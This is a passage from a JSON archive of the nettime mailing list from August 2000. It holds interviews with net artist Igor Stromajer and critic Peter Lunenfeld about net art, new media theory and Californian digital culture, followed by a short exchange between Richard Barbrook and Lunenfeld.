                "content": "\nIt can be quite nice to see the different approaches to art in computer\nnetworks. Have you ever sung your html code? Igor stromajer has. He lives\nin Lubljana, Slovenia, and he is a net artist. I met him in Moscow last\nMay, where he did a presentation of his work that was rather unusual to\nsome. He had Jodi and Frederic Madre sing at his command, using the\nvibration of a mobile phone to signal them when to start. \n\n: \n\nJB: How long have you been making net art? \n\nIgor Stromajer: Since 1996. That is when I first saw the net at a friend's\nappartment. I am a theatre director by education, and at that time I had\nbeen working in a theatre for three years. I found out that theatre is not\nthe right medium for me. I wanted my work to be more intimate. I wanted to\nbe very personal. I wanted to go one to one in artistic communication and\nI couldn't do it in the theatre. Maybe I did not know how, or the theatre\nis just not the right place for this. When you are part of a theatre\naudience you are sitting in the darkness usually, depending on the type of\ntheatre, and nobody cares about you.  If you would not be there at this\nperformance, then someone else would be at your place, but the performance\nwould be the same. When I discovered that the internet is much more\nintimate then the theatre I knew it was the right medium for me. Here I\ncan talk one to one: me as a creator of something on the net, and the\nperson sitting behind the computer somewhere is usually sitting there\nalone. \n\nJB: Does it in this case matter then who is behind the computer, who is\nthe audience? \n\nIS: It matters that the audience is a single person. As a single person\nyou can go through the project as you like it: with the speed you like,\nthe options you like, you exit the project and come back the next day... \nyou very much decide how you watch the project. As a group audience you do\nnot have this opportunity.\n\nJB: What do you think of internet art works exhibited in larger spaces\nthen? \n\nIS: As far as I have experience it I do not like it. I think that virtual\nor digital art should stay on the net. There is no need to put it in a\ngallery or real space, because it has nothing to do with it. You can\n-translate- the work though. I was trying to translate a net art piece\ninto the real space when I was singing the HTML structure of one of my\nprojects. That is what I would call a translation of one medium to\nanother, but you have to keep in mind it is just a translation: you then\nhave two seperate pieces which are completely independent. \n\nJB: That is how you see it: that they are independent. It does not sound\nvery independent to me... \n\nIS: A net art piece or any other art piece could be just an inspiration to\ndo another work of art. The translation made the project so different that\nonly the basic topic was the same: a kind of intimate communication.\nOtherwise all the structures I used for the singing and everything else\nwas completely different.\n\nJB: Can you tell me more about this particular work in which you sang HTML\ncode? \n\nIS: It came out of the form of presentation at all conferences and\nfestivals. It is always: if you click here you go there, if you click\nthere you go there.. a technical explanation of what is going on. This is\nvery uninteresting to me. I decided I would just try to draw some\nattention. That is why I printed the HTML source, the structure, and then\nI sang it the way it was written. It was a presentation of my project\ncalled 'Baltica'. I did it in Skopje and in Berlin at Transmediale 1999.\nThe next thing I did was asking the artistic manager of the national opera\nin Ljubljana if he could give me the stage for one night, so I could sing\nthe theory of the internet. It was possible, and the ministry of culture\nagreed to pay for it. The title was 'Opera Theoretica Internetica'. The\nrealaudio is on the net. \n\nJB: How do you work towards this intimacy you mentioned inside a project? \n\nIS: It is my wish to create a project on the net that the visitor can\nemotionally communicate with. The project would have to inspire an\nemotional response, so he or she would not think about what is on the\nscreen or in the speakers. I feel like a sculptor. It is really emotional\nfor me to write HTML code. I do it manually. I do not use special software\nfor this because I really feel so romantic creating something with my\nfingers. I put a lot of energy in it and sometimes it comes out also\n(laughs). It depends on the user or visitor how he or she approaches the\nproject. Many times there are several possibilities what to do inside a\nproject. It is up to the visitor how far to go. There is of course also\nthe feedback communication like emails, ftp or different protocols that\nare included in the project. It is not just someone sitting behind a\ncomputer watching something, it is always a two way communication. \n\njb: What is the background of 'Baltica'? \n\nBaltica is about a virtual state or country, on the other side. It is\nsomething about the line between the living and dead world. It is about\nwhat happens after death.\n\nJB: But why call it 'Baltica' then? \n\nIS: There is no logical explanation. \n\nJB: Do you see the Baltics as a place of death? \n\nIS: I have been there once after I did the project. It is not meant as a\nreal geographical place, but the word Baltica sounds for me like something\nthat is not of this world. I did it in 1997, when my father died. I needed\na place to put him, somewhere. So that I could imagine:  where is he now?\nThere. I chose Baltica because it sounded emotional to me, far away. I\nlater discovered a beer is called 'Baltica' in Moscow (laughs), I bought\nit. They have a light version and a normal version.\n\nJB: What was the project that you wrote to Rhizome about, where people\ncould not navigate? It caused some discussion about good and bad web\ndesign... What was your impression of the discussion that followed, and\nwhat was the title of the project? \n\nIS: The title was GPS art. I try to use different machines now, especially\nmobile machines, to transfer art. I do not want to quite the internet, but\nI want to try other possibilties. I did a GSM project with mobile phones,\nand WAP art (wireless application protocol) for mobile phones as well, and\nI experimented with this GPS (global positioning satelite navigation) art.\nIt is about realtime data processing and so on. It started like an idea,\nhow to navigate with satelites in a global community. I discovered that\nthe main moving force is the mistake. We discover new things and we\nprogress by making mistakes. A GPS system is of course used for\nnavigation: you have it in your car, in your yacht.  The basic thing first\ntime users on the net have to deal with is also how to navigate. We are\nused to click on words or images to go somewhere. If you remove this\noption, if there is nothing to click on, you have to think about exploring\nother ways of navigating the net. That is why I removed all the links and\nI put some suggestions how to navigate there. You had to find the names of\nthe files. It is always structured like this: you have a map, and then\nthere are several files inside this map. They are connected usually so you\ncan get from one file to another. There is also another way, which is when\nyou type the name of the next file manually in the location bar of the\nbrowser. This turned out to be problematic to some. When I published this\nwork on Rhizome I got many emails saying: there is nothing to click.\nPeople were also looking into the source code if there was a link, but\nthere was nothing.  The discussion helped me a lot. Some of it went into a\ndirection I am not interested in. Like 'good and bad design'. I don't\nthink that has anything to do with me. I will of course use this\ndiscussion in the further development of the project. The ministry of\nculture bought me this GPS machine now, so I have it at home. I have to\nlearn how to use it for this realtime data processing. Now I have some\nsimulations inside the project, there are six options what to do, and\nthere is an open section where other people can contribute their content\nto the project.  It is a work in progress. It is the first work that I\nhave done that I have created online from the beginning though. Everybody\ncan see how it is developing. I used to finish a project and then I put it\nonline. That is much safer: you can remove all the mistakes, you can\npolish it and so on. If you do it in an open way everything hurts: people\nhave the opportunity to see inside the process which can be very painful.\nThis is good. I learned a lot this way. \n\n\n\nhttp://www.intima.org\n\n\n\n*\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Wed, 02 Aug 2000 13:00:46 +0200",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200008021251.IAA17203 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0008/msg00015.html",
                "list": "nettime_l",
                "author_name": "josephine bosma",
                "subject": "<nettime> interview with Igor Stromajer"
            },
            {
                "id": "00008",
                "content": "\nEnemy of Nostalgia, Victim of the Present, Critic of the Future\nInterview with Peter Lunenfeld\nBy Geert Lovink\n\nPeter Lunenfeld might not be introduced here, but I will do it anyway.\nPeter is teaching in the graduate program in Media Design at Art Center\nCollege of Design. He is director of the Institute for Technology &\nAesthetics (ITA), and is founder of mediawork: The Southern California New\nMedia Working Group. He lives in Los Angeles and is the author of \"Snap to\nGrid: A User's Guide to Digital Arts, Media, and Culture\"(MIT Press, 2000)\nwhich came out in April this year. \"Snap to Grid\" provides us with a broad\nand accessible introduction into the topics of electronic arts and new\nmedia culture.  Lunenfeld hardly ever addresses the insider. As a\ncontemporary cultural critic he manages to contextualize the somewhat\nself-referential, isolated new media art works. A good example is his\nessay \"Demo or Die\", included in the book (and the www.nettime.org list\narchive). Peter Lunenfeld is also the editor of \"The Digital Dialectic:\nNew Essays on New Media\" (MIT Press, 1999), and writes \"User,\" a column\nfor the journal art/text. He is editing Mediawork Pamphlets for the MIT\nPress, \"a collection of intellectually sophisticated, visually compelling\nshort works that will unite contemporary thinkers with cutting edge\ngraphic designers to create theoretical fetish objects.\" The first will\nappear in 2001. This e-mail exchange, took place in the aftermath of a\nseries of public and private conversations in Los Angeles, early 2000. \n\nGL: What direction would you like to see new media culture go? \n\nPL: I don't think there's such a thing as a single new media culture.\nThere may have been a decade ago, but by now digital technologies have so\ninfiltrated advanced industrial societies that we have to speak of new\nmedia cultures.. What I see today in all facets of cultural production is a\nkind of ferocious pluralism. \n\nGL: The subtitle of your book is \"A User's Guide to Digital Arts, Media\nand Cultures.\" Imagine if someone were indeed to read it as manual for an\nInternet startup? What recipes and tips do you come up with? \n\nPL: I can't say I wrote Snap to Grid (S2G) with the thought of someone\nelse taking it as a manual for a start-up, but that's provocative. So,\nwhat might the entrepreneurially inclined get out of the book? For one\nthing, they could get a deeper understanding of the aesthetics of demos,\nof how to communicate in real time whatever it is they've invented, or\ndecided to bring to market. By running through some of the myths about\ninteractivity, connectivity and virtuality, S2G might help them craft\nthings and systems that people actually want. There's quite a bit in the\nbook that amounts to what I'd call \"understanding now.\" I don't know if\nunderstanding one's moment actually contributes to the bottom line and in\nfact, it may be the exact opposite, with those who most willfully ignore\nthe present making the most money off of the future. Be that as it may,\nS2G does try to discuss emergent technological aesthetics in the light of\nthe historical importance of the end of the Cold War. \n\nGL: Do you see any possibility of a critical art praxis and the\nprofit-driven network economy shaking hands? \n\nPL: Art and economics are symbiotic, even when they are seen to be in\nopposition, so I can't see why a networked economy shouldn't spawn\nnetworked art. I think that this is a fertile time for those with visual\nskills to be handsomely remunerated for certain kinds of design work, to\ntake ideas, images and sounds and build products out of them, and even to\ncreate lasting equity in commercial enterprises. On the other hand, I've\nnever thought that info-tech capitalist enterprises would enter into a\ndirect payment system for artists' personal explorations \u00ad except,\nperhaps, as isolated public relations efforts -- much less support fully\npoliticized critique. Getting back to your earlier question, S2G offers a\nway to think about culture in general after the wide spread of information\ntechnologies. It strikes me that we are all forced to engage with vastly\nbroader ranges of reference than ever before, and that part of what we\nexpect from the next generation of digital appliances is precisely the\ntools and methodologies to help us render meaning from the flux of\ninformation. Artists working in these areas may well be able to shake\nhands, as you say, with the dot com billionaires, but I'd recommend the\nartists bring intellectual property attorneys along with them to the\nmeetings. \n\nGL: In one of the best parts of the book, \"Demo or Die,\" you portray the\ndigital artist being crushed between their machines -- inherently unstable\ndigital platforms -- and their clients -- ruthless transnational corporate\ncapitalists. Instead of dismissing the demo as an unfinished attempt you\nare arguing that \"the demo has become an intrinsic part of artistic\npractice.\"  Have the art establishment and their critics discovered this\ngenre? \n\nPL: I think that artists understand better than one might assume the\nintrinsic importance of the demo aesthetic today. As I note in S2G, the\ndemo is closely aligned with the \"crit,\" that staple of art school\ninstruction in which students have to stand up and \"defend\" their work\nwith colleagues and instructors. The contemporary art world has been\ndealing with the impermanence of performance for years, since at least the\nHappenings movement of the 1960s. As for design culture, I think that the\nexpectation for commercial messages is so short that a demo aesthetic is\nalmost built in: if the message sells, it stays, if it doesn't, that\nmessage is gone.  Commercial culture has always lived by the Oulipian\nmotto \"prove motion by walking,\" even if the average advertiser could care\nless about Parisian literary experiments. \n\nGL: Could we compare the status of the demo with, for example\nadvertisements and other commercial short films? What happened to web\ndesign? And what will be the faith of the current Flash craze and their\ndemo artists? \n\nPL: I think that Web design calcified incredibly quickly, but that had a\nlot to do with bandwidth-backwards compatibility. Once an entire\ngeneration gets on-line with DSL or better connections form the home, I\nthink you'll see another surge in Web design. I'm usually not so\ntechnologically deterministic about aesthetics, but in this case I think\nthat the linkage is so strong between vision and bandwidth that the\nbroadening of the pipe will bring about more design innovation. One of the\nutopian hopes that we all had for Web design was that the huge number of\nnew voices entering the media would engender radical stylistic departures.\nOn the other hand, the fact that so many of them are new to visual\nculture's rich and dense history means that too many of them are repeating\n\u00ad often pallidly -- other people's proven strategies and successes. Too\nfew Flash animators know enough about the history of animation beyond\nDisney films and last year's motion graphics to sustain faith in anything\nbeyond the \"new.\" I hope that S2G can remind people that it's not enough\nto keep up with the tech, you truly have to love the art and its history\n(even if that love turns rabidly Oedipal and you want to set out to\ndestroy all that came before you). \n\nGL: Criticism and texts in general could as well have reached a \"concept\nor die\" level. Perhaps all texts are de facto hypertext, because they are\nread as such. Could you talk about this disintegration into \"nano\nthoughts\"? \n\nPL: Like almost everyone who comes out of any kind of sustained discursive\ntradition, I'm wary of the ever more amorphous nano thoughts that fill the\ninfosphere. But I strive to see if there is something to do about this\nbesides keening for the lost era of 400-plus page books and well crafted\nessays. The Latin rhetorical term, \"multim-im-parvo\" or much-in-little,\nseemed to be one place to start. Like so many of my generation, I saw\nmyself as a rediscoverer of McLuhan in the 80s and 90s, after his fall\ninto obscurity in the 70s. He was fascinated by aphorisms, seeing them as\nprobes that the reader needs to unpack and as a vastly more active than\nessays. It takes a sure hand to craft a compelling multim-im-parvo,\nthough, and as I note in the book, even McLuhan \u00ad who was a master \u00ad\nflopped at least as often as he soared. \n\nGL: You read this development in two ways: the first is the potential for\nincreased density, as demonstrated with the aphorism or directed slogan,\nbut the shadowside of this is the rise of vapor theory. Can you say\nsomething about the danger of vapor theorizing and at what point texts\ntransform into neologism and sales talk? \n\nPL: The failed aphorism is only one small part of the overarching category\nof what I came to call \"vapor theory.\" Vapor theory is a gaseous flapping\nof the gums about technologies, their effects and aesthetics, usually\ngenerated with little exposure, much less involvement with those self-same\ntechnologies and artworks. Vapor theory is one result of the historical\ncondition in which new media emerged. There was an almost fully formed\ntheoretical context for digital art and design even before they were fully\nfunctional as media technologies. This certainly did not happen with film,\nradio or television (though there are some parallels with artists' video\nof the 60s and early 70s). The late 90s moment of overwhelming, and\noverweening, hype for the Web seems at last to have subsided, so perhaps\nthat will temper the vapor theory as well. The increasing\ninstitutionalization of \"cyber-studies\" may sustain vapor theory, though,\ndue to the ever-increasing velocity of academic job hunting and publishing\nfor advancement. \n\nGL: In your writings, body-centered bio science metaphors are remarkably\nabsent. Nor do you criticize them. \n\nPL: I'm one of the few people I know who doesn't want to live forever, so\nthe central attraction of bio-blather \u00ad immortality -- leaves me cold. I\ndon 't want to have an endless dialogue with Extropians and associated\nnoospheric hangers-on about the religious fervor that they bring to these\nissues, nor have I been particularly impressed by the work that artists\nhave done in these areas. Too much of it falls into the \"when we have the\ntools, the work we'll make will be wonderful\" school of mediocre art/tech.\nI'm fascinated by what Matthew Barney is doing with biology in his\nCremaster films, but that's far removed from what you're asking me about.\nPerhaps my relative silence in this area is simply intellectual modesty.\nJust because digital technologies, about which I know something, have\nmoved into the bio-sciences, about which I know little, should I venture\ncavalierly into this arena just for the pleasure of expressing an opinion? \n\nGL: You just mentioned \"art/tech.\" Why do you think so many electronic\nartists are fascinated by this \"arts meet science\" discourse?  PL: I'm\nwary of the notion of the artist as research scientist prevalent in new\nmedia circles. At conferences, I hear artists going on about how they are\nnow validated in their choice of art as a profession because scientists\nand engineers respect their \"research,\" and the fact that they are getting\nmoney from Intel. This attitude is incredibly odd. Collegiality is a\nwonderful thing, but in the final analysis, why should artists give damn\nabout what engineers think about them? This \"scientific method\" is growing\nrapidly with the megaversity structure, in which artists who can create a\npractice that apes the forms of scientific research get hired and funded.\nThey hire and fund others like themselves, and thereby build a peer\nnetwork to evaluate the \"results\" of their work. This has gone hand in\nhand with the development of the arts practice-based Ph.D. in the UK and\nother parts of Europe. Most artists have some sort of \"research\" component\nto their own practice. But this research is generally only important as it\nrelates to the work to which it contributes. There are some, select\nartists for whom the research is the work, but quite often they are\nworking within a specifically conceptual framework and what they tend to\nexplore ends up being the idea of research itself, rather than a specific\ntopic (a metacritical project that is more ontological than empirical). \n\nGL: Is this then just opportunism, an attempt to bring the artist to the\nlevel of the so-called neutral laboratory engineer/inventor, in effect to\n\"increase\" the perceived utility of art in an ever more technologized\nsociety? \n\nPL: This gets straight to the heart of the matter: art can be \"useful,\"\nbut the glory of it as a sphere of cultural production is that it does not\nhave to be. Researchers and scientists are trained differently and have a\ndifferent set of expectations for their work - there is an expectation of\nutility, and often of clarity (avoiding the detours of postmodern science\nwars for a moment). This whole artist-cum-scientist confusion reminds me\nof the 1980s when what we saw, especially in the United States, were\nartists-cum-social workers. For every innovative effort like Tim Rollins\nand KAOS there were a thousand dreary \"community-based collaborative\nprojects\"  that existed for one reason and one reason only: to get money\nfrom the National Endowment for the Arts (NEA) or local funding agencies.\nOriginally, by putting in some vague pro-social rhetoric, artists could\nget some support for the work they really wanted to do, but then they came\nto see the funding scam as their whole reason for being. What began as\nsomething of a scam turned into an entire aesthetic. Then, during the\n\"culture wars\" of the late 80s and early 90s, conservatives in the U.S.\nCongress neutered the NEA and this entire brand of practice died out \u00ad\nthough now I see some of the same people who went after the social work\nfunding going after money and tech from hardware and software companies. \n\nGL: Now that we've covered some of the movements you don't like, what\nabout the ones you do? The 60s and 70s avant-gardes \u00ad in art, cinema and\nliterature --are very important to you. For decades, we have heard that\nthe avant-garde was dead. Has this category risen up and returned in the\nfigure of the digital artist? \n\nPL: I'm very careful about using the term avant-garde, even as I spend a\ngreat deal of time looking at what other generations did indeed term\navant-garde art and media. The very phrase \"avant-garde\" needs to be given\na rest, like a good horse that has been ridden too hard for too long. When\nstylistic and technical \"advances\" come from all spectra of digital media\nproduction \u00ad commercial, artistic, scientific, academic, etc. \u00ad the notion\nwe have inherited of a singular, oppositional avant-garde serves little\npurpose anymore. If our softwares, music videos, computer games and WAPs\nare all to be termed \"avant-garde,\" then that phrase has indeed been\nreduced to a marketing phrase like \"revolution.\" I do not see the digital\nartist as being an avant-gardist in any classical sense of solidarity or\nshared artistic destiny; and, in fact, too many mediocre talents have hung\non to just such exhausted tropes to support their own, weak brands of\npractice. \n\nGL: I like the way Snap to Grid treats 70s structuralist film as being of\ncentral concern to contemporary media art. One chapter is devoted to the\nwork of Hollis Frampton. Do you see any continuity twenty five years\nlater?  Or similarities compared to current digital media developments? \n\nPL: I wrote about Frampton for a number of reasons. The first is simply\nout of admiration for his life's work. He was able to meld rigorous art\npractice with far ranging and vital theorizations of his media, from\nphotography to film to video to digital media. Like his contemporary, the\nprotean conceptualist Robert Smithson, and those who followed this path\nlike painter Peter Halley and video maker Gary Hill, Frampton offers\ntheoretical texts that are supported by, and support in turn, a body of\nimportant artwork.  These kinds of artist's writings offer ways out of and\naround the dead ends of too much mainstream, contemporary media theory.\nOne of the things that drew me to digital media in the 90s was that same\nsense of artists creating the contexts and explications for their own\nworks, on listserves, in catalogues, on conference panels, and \u00ad perhaps\nmost of all \u00ad in bars around the world. \n\nGL: Can we talk about the preoccupation of new media theory with \"the\" \nfuture? One thing I've noticed about your writing is that it tends to be\nencapsulated within existing reality. Is there such a thing as\n\"Californian dreaming\" which would take us to yet unknown places? Is it\nout of context to talk about and prototype media-driven utopias? Would\ndreaming be the opposite of nostalgia? Is there only an intensification of\nthe present possible, and desirable? \n\nPL: I don't think I'm preoccupied with the future. I know I'm an enemy of\nnostalgia, and I'm pretty sure I'm victim of an obsession with the\npresent.  My first \"User\" column for art/text magazine was called\n\"Permanent Present,\"  and concerns the way in which \u00ad for all the hype \u00ad\nour visual culture is not that much different than it was in the mid-80s,\nafter the advent of the Mac' s GUI and the impact of Blade Runner's\nretro-deco aesthetic. I happen to loathe the idea of \"futurism\" as a\ndiscipline, and find myself much more interested in explicating \"now\"\nrather than the \"next.\" I prefer to encounter other people's fantasies of\nmutable environments and interactive nanotech in science fiction rather\nthan science-fictionalized discourse. I tend to keep my daydreams to\nmyself. \n\nGL: With Kodwo Eshun you are saying: everything still needs to be done.\nWhat is the role of the critic in all of this? \n\nPL: I approach criticism as a way to elucidate that which I admire about\nart rather than simply trying to fit it into a preconceived\nstraightjacket. I'd like to think that I've been able to explore that\nferocious pluralism I mentioned earlier which so characterizes our era.\nThis is disconcerting to those who pine for the certainties of movements,\nschools, or avant-gardes that marched in lockstep, one after the other.\nThese days, you're on your own, it's up to the individual user to craft\nhis or her own frameworks. Part of the job of the critic is to offer\nmodels for this process. \n\nGL: Let's go back to Californian dreaming. What about the specificities of\nSouthern California? Is there a critical mass of new media theorists,\nartists and critics in LA-San Diego region? If so, how are they supporting\nthemselves, is it mainly through institutions? \n\nPL: Southern California has a tremendous wealth of resources for both the\ncreation and the investigation of visual culture, especially as that\nvisual culture becomes more involved with electronic, digital and\nnetworked technologies. Southern California has three of the top five film\nschools in North America (USC, UCLA, AFI); three of the top five places to\nstudy animation (Cal Arts, UCLA and USC); three top rated architecture\ndepartments (UCLA, USC, Cal Poly Pomona); the best independent\narchitectural school in North America (SCI-ARC); and North America's most\nconcentrated high quality training in design and the fine arts (including\nArt Center, UCLA, CalArts, UCSD, UCI, Otis, and UCSB). All these\ninstitutions are within driving distance of each other. There is,\ntherefore, already a body of visual intellectuals here \u00ad people making,\nthinking about, and writing on visual culture. Even more, these\ninstitutions and those who work in them are engaging ever more seriously\nwith the relationship between the technologies of media production and\ntheir aesthetics. I founded mediawork: The Southern California New Media\nWorking Group back in '95 to enable theorists -- Lev Manovich, Norman\nKlein, Phil Agre, Steve Mamber, Vivian Sobcheck and N.  Katherine Hayles \u00ad\nto come together with scientists \u00adKen Goldberg, Danny Hillis, Paul\nHaeberli, and Mike Noll; architects -- Tim Durfee and Marcos Novak \u00ad mixed\nit up with curators like Carole Ann Klonarides; and graphic designers \u00ad\nincluding Rebeca Mendez and Somi Kim \u00ad shared a space with industrial\ndesigners like Lisa Krohn and artists ranging from Bruce Yonemoto to\nJennifer Steinkamp to Diana Thater. LA is a place where you have to plan\nspontaneous events, so it's both more complex and more rewarding to spark\nsuch interactions. \n\nGL: In the context of discussing digital media, could we then speak of a\nrenaissance in Southern California? \n\nPL: Naissance, rather than renaissance, perhaps. When Richard Barbrook and\nAndy Cameron wrote \"The Californian Ideology,\" it was a bang-up analyses\nof a certain brand of Silicon Valley techno-libertarianism and the mush of\nideologies offered up in the pages of WIRED (remember when that magazine\nmattered?). But for some of us who were working here, the tone of the\narticle rankled: \"So far, the Californians have proved to be better at\nmaking virtual machines than social analyses.\" This is a typical European\nattitude \u00ad the New World makes, the Old World thinks. This is as\nridiculous coming from London as it would be from Paris (though I always\nfelt that Barbrook and Cameron had a better sense of humor about their\ncharacterizations than did many of their readers, both in Europe and the\nUS). \n\nGL: You've talked in the past about the emergence of a SoftTheory in\nSouthern California. Can you explain what you meant by that? \n\nPL: SoftTheory attempts to build a methodology that critiques and\nexplicates the present and that grounds its insights in the limitations as\nwell as the potentials of these technologies. SoftTheory is the product of\nand producer of a high electronic culture. It engages with popular culture\nin all its forms, but does not attempt to become popular culture. It\nbuilds a fluid discourse about visual culture that is broad but rigorous,\nthat has shared concerns but no totalitarian central meta-discourse. On\nthe other side, this is not a high electronic culture built entirely\naround renunciation.  SoftTheory lives in, with and through these\ntechnologies in a particularly immersive Californian way. We are not\ndeluded into thinking that 19th century analyses of industrial capitalism\nare sufficiently supple to engage with the post-industrial, interconnected\nworld. \n\nGL: How exactly is SoftTheory particularly appropriate for the West Coast. \n\nPL: Let's go through the stereotypes again. If Paris thinks and New York\ndoes (the French equation going back at least to de Touqueville), and New\nYork characterizes itself as hard charging while demeaning LA as laid back\n(the popular image of SoCal crystallized by Woody Allen in Annie Hall),\nthen SoftTheory is a pointedly ironic term for what we are doing. It\nallows us to preempt both the European criticisms of theoreticism and the\nEast Coast's condescension towards us as entertainment-addled victims of\nthe spectacle. I 'm hoping that a few years down the line, people realize\nhow remarkable the body of work coming out of Southern California is. In\naddition to Heim's prodigious thinking on VR, Agre's monumental Red Rock\nEater news service, and Hayles's already renowned How We Became Post\nHuman, look for Sobchack's collection Metamorphing, and forthcoming\nvolumes from Manovich on the language of new media and Klein on scripted\nspaces. \n\nGL: We've been talking about institutions in general, but how would you\nprogram a digital Bauhaus today, what would it look like if you were to\nopen such a school? \n\nPL: I hope it would look like the department I'm already in. The Graduate\nProgram in Media Design at Art Center College of Design develops\nprofessional design practice in the context of diverse media technologies. \nWe investigate interactive design theory, tools, user experience, and\ncultural context. While developing core design competencies, we try to be\nflexible enough so that the curriculum responds to evolution in the field\nand prepares students for careers of continuing innovation. It is a two\nyear program. During the first year, students engage with the history and\ntheory of new media in seminars, hone their production skills in studios,\nlearn directly from visiting designers and artists, and devote a large\npercentage of their time to the Super Studio, a team-oriented group\nproject. During the second year, the seminars and studios are devoted to\nmore specific issues that dovetail with the students' own research\ninterests. The Super Studio serves as both preparation and model for the\nstudent's individual master's project, facilitating a connection between\ngroup and personal work. I'd like to think that the students will be able\nto distinguish themselves as practitioners, visionaries, entrepreneurs,\nand even design intellectuals.  That's what we've been building towards\nfor the past five years, in fits and starts. One of my contributions is to\ntry to keep the enthusiasm flowing. \n\nGL: How would you summarize your approach, then? \n\nPL: In the end, what I try to do in my classes, in writings like S2G, and\nthrough public discourses like mediawork, is to combine the object and\nartist specific discourses we inherit from the criticism and history of\nart with the more systemic analyses that developed in the study of media\nlike film and television. When I was a kid, I read a series of tall tales\nabout a small town boy named Homer Price. In one story, a nefarious con\nman came to Centerburg to sell an invisible powder that when sprinkled on\nanything made it \"ever so much more so\" whatever you liked about it.\nDonuts would taste ever so much more so like donuts, bikes would ride ever\nso much more so like bikes, etc. (I was too young at the time to think\nabout its immediate application to sex, but that's another story). I\nalways loved that powder, even though, or perhaps precisely because, it\nwas bogus. Paul Foss, the publisher of art/text, has said that there is an\nunderlying theme of faith to my \"User\" columns \u00ad faith in art, faith in\nfaith, faith in something, even if as ineffable as the invisible powder.\nOverall, my work runs counter to the nostalgia of both left and right. I\nprefer to spend my critical capital figuring out what makes right now so\ncompelling. I am forever in search of the strategies, media and artists\nwho will make what I think of as our future/present \"ever so much more\nso.\" \n\nPeter Lunenfeld, Snip to Grid, MIT Press, 2000\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0008/msg00008.html",
                "list": "nettime_l",
                "author_name": "geert lovink",
                "subject": "<nettime> Interview with Peter Lunenfeld",
                "from": "geert lovink <geert {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "content-type": "text/plai",
                        "from": "ichard barbrook <richard {AT} hrc.wmin.ac.uk>",
                        "id": "00061",
                        "content": "\nHiya,\n\nJust to clear up a misunderstanding:\n\n>When Richard Barbrook and\n>Andy Cameron wrote \"The Californian Ideology,\"\n>for some of us who were working here, the tone of the\n>article rankled: \"So far, the Californians have proved to be better at\n>making virtual machines than social analyses.\" This is a typical European\n>attitude \u201a the New World makes, the Old World thinks.\n\nThis is *not* what the sentence means. What it really says is that the New\nWorld makes good things and thinks lazy thoughts.\n\nFunnily enough, 'The Californian Ideology' was primarily inspired by our\nannoyance at the way that the Old World thinks about the Net whatever the\nNew World thinks. Look at the uncritical reception given over here to\n'Wired' in '95 - and to Manuel Castells today...\n\nLater,\n\nRichard\n\n\n-------------------------------------------------------------------\nDr. Richard Barbrook\nHypermedia Research Centre\nSchool of Communications and Creative Industries\nUniversity of Westminster\nWatford Road\nNorthwick Park\nHARROW HA1 3TP\n\n<www.hrc.wmin.ac.uk>\n\n+44 (0)20 7911 5000 x 4590\n\n-------------------------------------------------------------------\n\"While there is irony, we are still living in the prehistoric age. And we\nare not out of it yet...\" - Henri Lefebvre\n-------------------------------------------------------------------\n\nIf you would like to keep in touch with what is happening at the HRC, you\ncan subscribe to our Friends mailing list on:\n\nhttp://ma.hrc.wmin.ac.uk/lists.friends.db\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "date": "Tue, 8 Aug 2000 21:43:41 -0400",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200008090452.AAA11568 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0008/msg00061.html",
                        "list": "nettime_l",
                        "author_name": "richard barbrook",
                        "subject": "Re: <nettime> Interview with Peter Lunenfeld"
                    },
                    {
                        "from": "\"Peter Lunenfeld\" <peterl {AT} artcenter.edu>",
                        "content": "\nDear Richard --\n\nThere was no misunderstanding to clear up. In fact, your rephrasing, \"the\nNew World makes good things and thinks lazy thoughts,\" rankles even more\nthan the original. \n\nIt should come as no surprise that some of the earliest critiques of West\nCoast techno-libertarianism originated cheek to jowl with the hype. Take\n\"Teenage Mutant Ninja Hackers: Reading Mondo 2000\" by Vivien Sobchack. \nSobchack originated this dead-on dissection of \"optimistic cynicism\" and\n\"the ambivalence of mondoid desire\" as a short piece for Artforum in 1991\nwhile she was still living in Santa Cruz, and then expanded it for Mark\nDery's Flame Wars in 1993, after she had moved to LA. So, don't blame\nCalifornia (much less the whole of the New World) if too many Europeans\ntook WIRED at face value. \"The New World: Thinking rigorous thoughts since\n1776.\" \n\nYours --\n\nPeter\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00062",
                        "date": "Wed, 09 Aug 2000 00:26:28 -0700",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200008091526.LAA13199 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0008/msg00062.html",
                        "content-type": "text/plai",
                        "author_name": "Peter Lunenfeld",
                        "subject": "Re: <nettime> Interview with Peter Lunenfeld"
                    },
                    {
                        "from": "Jeffrey Fisher <jfisher {AT} igc.org>",
